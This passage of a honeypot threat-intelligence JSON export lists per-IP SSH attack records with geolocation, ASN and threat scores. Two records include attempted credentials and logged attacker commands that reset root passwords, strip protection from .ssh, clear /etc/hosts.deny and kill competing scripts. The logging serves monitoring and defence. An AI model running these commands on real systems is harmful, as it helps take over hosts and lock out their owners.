        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Vila Velha",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T12:55:56.144000+00:00",
        "last_seen_30d": "2026-05-11T12:59:38.493000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "179.48.172.165": {
      "attack_count": 2,
      "first_seen": "2026-05-19T06:30:27.434Z",
      "last_seen": "2026-05-19T06:30:39.647Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rubiataba",
      "asn": 271142,
      "as_org": "LL TELECOMUNICACOES EIRELI",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:30:27.434000+00:00",
        "last_seen_30d": "2026-05-19T06:31:46.549000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.253.140.62": {
      "attack_count": 2,
      "first_seen": "2026-05-04T03:23:26.169Z",
      "last_seen": "2026-05-04T03:25:26.170Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Sidoarjo",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T03:23:26.169000+00:00",
        "last_seen_30d": "2026-05-04T03:26:34.857000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.27.16.145": {
      "attack_count": 2,
      "first_seen": "2026-05-12T22:55:13.987Z",
      "last_seen": "2026-05-12T22:55:26.101Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Luj\u00e1n",
      "asn": 22927,
      "as_org": "Telefonica de Argentina",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T22:55:13.987000+00:00",
        "last_seen_30d": "2026-05-12T22:56:33.853000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.53.163.6": {
      "attack_count": 2,
      "first_seen": "2026-05-28T16:04:55.972Z",
      "last_seen": "2026-05-28T16:05:09.485Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Phitsanulok",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T16:04:55.972000+00:00",
        "last_seen_30d": "2026-05-28T16:06:11.847000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.97.75.150": {
      "attack_count": 2,
      "first_seen": "2026-05-03T06:56:05.021Z",
      "last_seen": "2026-05-03T06:56:36.182Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Jungnang-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T06:56:05.021000+00:00",
        "last_seen_30d": "2026-05-03T06:57:41.337000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "185.152.127.7": {
      "attack_count": 2,
      "first_seen": "2026-05-16T15:45:09.571Z",
      "last_seen": "2026-05-16T15:45:21.546Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Konya",
      "asn": 202790,
      "as_org": "Netwifi Iletisim Hizmetleri Ltd. Sti.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:45:09.571000+00:00",
        "last_seen_30d": "2026-05-16T15:46:28.932000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "186.210.240.192": {
      "attack_count": 2,
      "first_seen": "2026-05-24T10:27:53.565Z",
      "last_seen": "2026-05-24T10:29:53.565Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Uberaba",
      "asn": 53006,
      "as_org": "ALGAR TELECOM SA",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T10:27:53.565000+00:00",
        "last_seen_30d": "2026-05-24T10:31:01.426000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "186.50.145.179": {
      "attack_count": 2,
      "first_seen": "2026-05-27T13:28:15.100Z",
      "last_seen": "2026-05-27T13:30:15.102Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T13:28:15.100000+00:00",
        "last_seen_30d": "2026-05-27T13:41:17.691000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "186.75.210.246": {
      "attack_count": 2,
      "first_seen": "2026-05-26T18:54:54.895Z",
      "last_seen": "2026-05-26T18:54:55.386Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 11556,
      "as_org": "Cable & Wireless Panama",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T18:54:54.895000+00:00",
        "last_seen_30d": "2026-05-26T18:56:02.770000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "187.224.28.224": {
      "attack_count": 2,
      "first_seen": "2026-05-26T20:43:51.161Z",
      "last_seen": "2026-05-26T20:44:05.031Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Zapopan",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:43:51.161000+00:00",
        "last_seen_30d": "2026-05-26T20:45:15.086000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.233.66.180": {
      "attack_count": 2,
      "first_seen": "2026-05-17T13:24:30.655Z",
      "last_seen": "2026-05-17T13:24:43.653Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Aguascalientes",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T13:24:30.655000+00:00",
        "last_seen_30d": "2026-05-17T13:25:44.844000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.97.234.212": {
      "attack_count": 2,
      "first_seen": "2026-05-02T03:16:41.637Z",
      "last_seen": "2026-05-02T03:16:54.672Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Valencia",
      "asn": 263703,
      "as_org": "VIGINET C.A",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:16:41.637000+00:00",
        "last_seen_30d": "2026-05-02T03:18:01.830000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.227.103.103": {
      "attack_count": 2,
      "first_seen": "2026-05-06T01:49:07.518Z",
      "last_seen": "2026-05-06T01:49:20.321Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "David",
      "asn": 11556,
      "as_org": "Cable & Wireless Panama",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T01:49:07.518000+00:00",
        "last_seen_30d": "2026-05-06T01:50:30.086000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "212.33.107.22": {
      "attack_count": 2,
      "first_seen": "2026-05-19T12:43:54.095Z",
      "last_seen": "2026-05-19T12:44:06.606Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Ramallah",
      "asn": 12975,
      "as_org": "Palestine Telecommunications Company (PALTEL)",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T12:43:54.095000+00:00",
        "last_seen_30d": "2026-05-19T12:45:16.971000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.209.159.240": {
      "attack_count": 2,
      "first_seen": "2026-05-06T18:51:21.996Z",
      "last_seen": "2026-05-06T18:51:22.284Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T15:24:36.355000+00:00",
        "last_seen_30d": "2026-05-06T18:52:25.284000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 2
      }
    },
    "213.230.86.107": {
      "attack_count": 2,
      "first_seen": "2026-05-05T16:22:39.141Z",
      "last_seen": "2026-05-05T16:22:52.582Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Samarkand",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T16:22:39.141000+00:00",
        "last_seen_30d": "2026-05-05T16:23:59.041000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "42.202.103.89": {
      "attack_count": 2,
      "first_seen": "2026-05-23T13:48:53.152Z",
      "last_seen": "2026-05-23T13:49:30.936Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:48:53.152000+00:00",
        "last_seen_30d": "2026-05-23T13:50:37.847000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.250.44.182": {
      "attack_count": 2,
      "first_seen": "2026-05-17T07:20:14.106Z",
      "last_seen": "2026-05-17T07:20:26.244Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Surat",
      "asn": 136334,
      "as_org": "Vortex Netsol Private Limited",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T07:20:14.106000+00:00",
        "last_seen_30d": "2026-05-17T07:21:31.040000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "46.184.141.84": {
      "attack_count": 2,
      "first_seen": "2026-05-05T19:46:26.367Z",
      "last_seen": "2026-05-05T19:46:40.042Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bahrain",
      "country_code": "BH",
      "city": "T\u016bbl\u012b",
      "asn": 51375,
      "as_org": "Stc Bahrain B.s.c Closed",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T19:46:26.367000+00:00",
        "last_seen_30d": "2026-05-05T19:47:46.408000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "46.218.75.240": {
      "attack_count": 2,
      "first_seen": "2026-05-12T06:26:57.368Z",
      "last_seen": "2026-05-12T06:27:28.582Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 15557,
      "as_org": "Societe Francaise Du Radiotelephone - SFR SA",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T06:26:57.368000+00:00",
        "last_seen_30d": "2026-05-12T06:28:35.502000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "70.55.19.40": {
      "attack_count": 2,
      "first_seen": "2026-05-20T14:53:38.032Z",
      "last_seen": "2026-05-20T14:53:51.537Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 577,
      "as_org": "Bell Canada",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T14:53:38.032000+00:00",
        "last_seen_30d": "2026-05-20T14:55:00.922000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "76.65.159.78": {
      "attack_count": 2,
      "first_seen": "2026-05-02T05:33:43.848Z",
      "last_seen": "2026-05-02T05:33:47.519Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Laval",
      "asn": 577,
      "as_org": "Bell Canada",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T05:33:43.848000+00:00",
        "last_seen_30d": "2026-05-02T05:34:55.089000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "83.134.54.86": {
      "attack_count": 2,
      "first_seen": "2026-05-06T17:51:34.753Z",
      "last_seen": "2026-05-06T17:51:56.580Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Li\u00e8ge",
      "asn": 5432,
      "as_org": "Proximus NV",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T17:51:34.753000+00:00",
        "last_seen_30d": "2026-05-06T17:52:58.152000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.65.132.24": {
      "attack_count": 7458,
      "first_seen": "2026-05-21T09:37:23.678Z",
      "last_seen": "2026-05-30T16:32:14.922Z",
      "sessions": 1486,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "ubuntu",
        "deploy",
        "test",
        "user1",
        "minecraft",
        "pi",
        "postgres",
        "claude",
        "dev",
        "debian",
        "frappe",
        "guest",
        "steam",
        "ftpuser",
        "git",
        "app",
        "bot"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "1234",
        "password",
        "root",
        "12345678",
        "12345",
        "123456789",
        "abc123",
        "1qaz@WSX",
        "111111",
        "toor",
        "Aa123456",
        "test",
        "qwerty",
        "123123",
        "123321",
        "admin",
        "admin123"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 48.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 10457,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:37:23.171000+00:00",
        "last_seen_30d": "2026-05-30T16:33:18.272000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7458,
        "Suricata": 2999
      }
    },
    "51.75.64.35": {
      "attack_count": 960,
      "first_seen": "2026-05-07T16:17:18.417Z",
      "last_seen": "2026-05-30T21:25:10.830Z",
      "sessions": 110,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "admin",
        "ftpuser",
        "tester",
        "oracle",
        "shen",
        "smbuser",
        "socks",
        "test",
        "admin123",
        "astra",
        "deploy",
        "dev",
        "fan",
        "guest",
        "kafka",
        "kazuki",
        "log"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1234",
        "12345",
        "!QAZ@wsx3edc",
        "123",
        "123123",
        "12340",
        "123456789@abc",
        "1234567a",
        "123456Abc",
        "12345qwer",
        "1234admin",
        "123abc321",
        "1993",
        "1q2w3e4r.",
        "1qaz!Qaz",
        "1qaz@WSX!@#",
        "Aa1234567890@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\nC4WaUfsnvlfp\\nC4WaUfsnvlfp\\n\"|passwd",
        "echo \"qazwsx12\\n7sOB6WMEpf1r\\n7sOB6WMEpf1r\\n\"|passwd",
        "echo \"root:WZX3a8PAZzhb\"|chpasswd|bash",
        "echo \"root:YilxzNKQ3f85\"|chpasswd|bash",
        "echo \"root:fDgnAa7gUFQ0\"|chpasswd|bash",
        "echo \"shen\\nbKbPD8QdgphK\\nbKbPD8QdgphK\\n\"|passwd",
        "echo \"socks\\nVZldmAvzjdfJ\\nVZldmAvzjdfJ\\n\"|passwd",
        "echo -e \"12345\\nC4WaUfsnvlfp\\nC4WaUfsnvlfp\"|passwd|bash",
        "echo -e \"qazwsx12\\n7sOB6WMEpf1r\\n7sOB6WMEpf1r\"|passwd|bash",
        "echo -e \"shen\\nbKbPD8QdgphK\\nbKbPD8QdgphK\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 59.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1203,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
